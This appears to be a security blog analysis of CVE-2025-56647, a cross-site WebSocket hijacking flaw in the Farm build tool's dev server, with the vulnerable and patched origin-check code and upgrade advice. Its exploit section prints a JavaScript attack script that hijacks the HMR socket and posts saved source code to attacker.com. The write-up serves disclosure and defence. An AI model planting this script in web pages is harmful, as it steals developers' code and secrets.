Harvesting Your Code: The Farm Dev Server CSWSH Exploit
Feb 13, 2026·5 min read·4 visits
Executive Summary (TL;DR)
The Farm build tool (versions < 1.7.6) leaves its HMR WebSocket wide open. If a developer visits a malicious site while their dev server is running, the site can connect to localhost, hijack the WebSocket, and steal source code in real-time as the developer saves files.
A critical flaw in the @farmfe/core build tool allows remote attackers to siphon source code directly from a developer's machine via Cross-Site WebSocket Hijacking (CSWSH). By failing to validate the Origin header during Hot Module Replacement (HMR) negotiation, Farm permits any website visited by a developer to connect to their local dev server and listen for code updates.
The Hook: When Localhost Isn't Private
Modern web development is magical. You change a line of code, hit save, and your browser updates instantly without a full reload. This sorcery is called Hot Module Replacement (HMR). To make this happen, your build tool (in this case, Farm) spins up a local WebSocket server—usually on port 9000—that maintains a persistent connection to your browser. It sits there, eagerly waiting to push code updates the moment you touch a file.
But here is the catch: developers often assume that because a server is running on localhost, it is untouchable by the outside world. They treat 127.0.0.1 like a digital panic room.
CVE-2025-56647 turns that panic room into a glass house. The Farm development server failed to ask one simple question when a connection came knocking: "Who sent you?" Because of this polite negligence, any website you visit—yes, even that sketchy ad-laden recipe blog—can reach across the browser boundary, connect to your local Farm instance, and start harvesting your source code as you write it.
The Flaw: The Broken Door Handle
The vulnerability here is a textbook Cross-Site WebSocket Hijacking (CSWSH).
Web browsers implement the Same-Origin Policy (SOP) to prevent evil.com from reading data from bank.com via standard AJAX requests. However, WebSockets are a different beast. The WebSocket protocol specification explicitly allows cross-origin connections. It assumes the server is smart enough to check the Origin header during the handshake and decide whether to accept the connection.
Farm didn't do that.
When a browser (or a script running inside one) requests a WebSocket upgrade, it automatically sends an Origin header indicating where the request came from. A secure server looks at this and says, "Wait, why is http://shady-exploit-site.com trying to connect to my HMR service? Deny."
Farm's server, prior to version 1.7.6, essentially said, "Come on in!" It didn't validate the Origin header at all. It accepted connections from anywhere, effectively bypassing the only defense mechanism intended to prevent cross-site websocket attacks.
The Code: Anatomy of a Missing Check
Let's look at the smoking gun in packages/core/src/server/ws.ts. The vulnerability existed in how the server handled the HTTP upgrade request.
The Vulnerable Code:
Previously, the server just checked if the URL matched the HMR path. It didn't care about the origin.
// BEFORE: Blindly accepting connections
private isHMRRequest(request: IncomingMessage): boolean {
return (
request.url === this.config.hmr.path &&
request.headers['sec-websocket-protocol'] === 'farm_hmr'
);
}The Fix (Commit 83342ef06e0aea37270950fd8c930422c4df0679):
The patch introduces a whitelist. The developers added logic to generate a list of allowed origins (typically just localhost and the machine's IP) and verify incoming requests against it.
// AFTER: Trust, but verify
private isHMRRequest(request: IncomingMessage): boolean {
return (
request.url === this.config.hmr.path &&
request.headers['sec-websocket-protocol'] === HMR_HEADER &&
// The critical fix:
this.hmrOrigins.includes(request.headers['origin'])
);
}This simple addition of this.hmrOrigins.includes(...) closes the loop. If the origin isn't on the list, the WebSocket handshake fails, and the attacker gets a generic 400 or 403 error instead of your intellectual property.
The Exploit: Stealing Code in Real-Time
Exploiting this is terrifyingly simple. An attacker doesn't need to install malware on your machine. They just need you to visit a website while you are working.
Imagine you are building a proprietary trading algorithm. You have farm start running. You take a break and click a link to a "Top 10 Rust Tricks" article. Hidden on that page is the following JavaScript:
// The Attack Script
const socket = new WebSocket('ws://localhost:9000/__hmr', 'farm_hmr');
socket.onopen = () => {
console.log('Gotcha! Connected to local dev server.');
};
socket.onmessage = (event) => {
// This payload contains the code you just saved
const update = JSON.parse(event.data);
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify(update)
});
};The Sequence of Events:
- Connection: The browser sends a WebSocket handshake to
localhost:9000. The malicious site's origin is sent in the headers. - Acceptance: The vulnerable Farm server ignores the foreign origin and accepts the connection.
- Surveillance: You, the developer, spot a bug in your code. You fix it and hit
Ctrl+S. - Exfiltration: Farm detects the file change, packages the new source code into an HMR update, and broadcasts it to all connected clients—including the attacker's tab.
Your proprietary code is now sitting in the attacker's database.
The Impact: Why This Matters
This isn't just about leaking a few lines of CSS. HMR updates often contain the full source content of the modified module.
If a developer is working on backend logic (via a backend-for-frontend pattern), editing configuration files containing API keys, or patching security vulnerabilities in their own app, that information is broadcasted immediately.
Furthermore, because this is a local service exposed to the web, it bypasses firewalls. Your corporate firewall protects you from inbound connections from the internet, but it doesn't stop your browser from making an outbound connection to localhost initiated by a third-party script. It exploits the trust relationship between the developer and their own machine.
The Fix: Remediation
The remediation is straightforward. If you are using @farmfe/core, check your package.json immediately.
Upgrade Path:
- Vulnerable: Versions
< 1.7.6 - Safe: Version
1.7.6and above.
Run the following to patch:
npm install @farmfe/core@latest
# or
pnpm update @farmfe/coreIf you cannot upgrade immediately, the only mitigation is paranoia: do not browse the internet while your dev server is running, or run your development environment inside a container (Docker/DevContainer) that does not expose the HMR port directly to the host's loopback interface without authentication.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:NAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
@farmfe/core FarmFE | < 1.7.6 | 1.7.6 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-1385 (Missing Origin Validation in WebSockets) |
| Attack Vector | Network (via Browser CSWSH) |
| CVSS | 6.5 (Medium) |
| EPSS Score | 0.00015 |
| Impact | Confidentiality (High) |
| Exploit Status | PoC Available |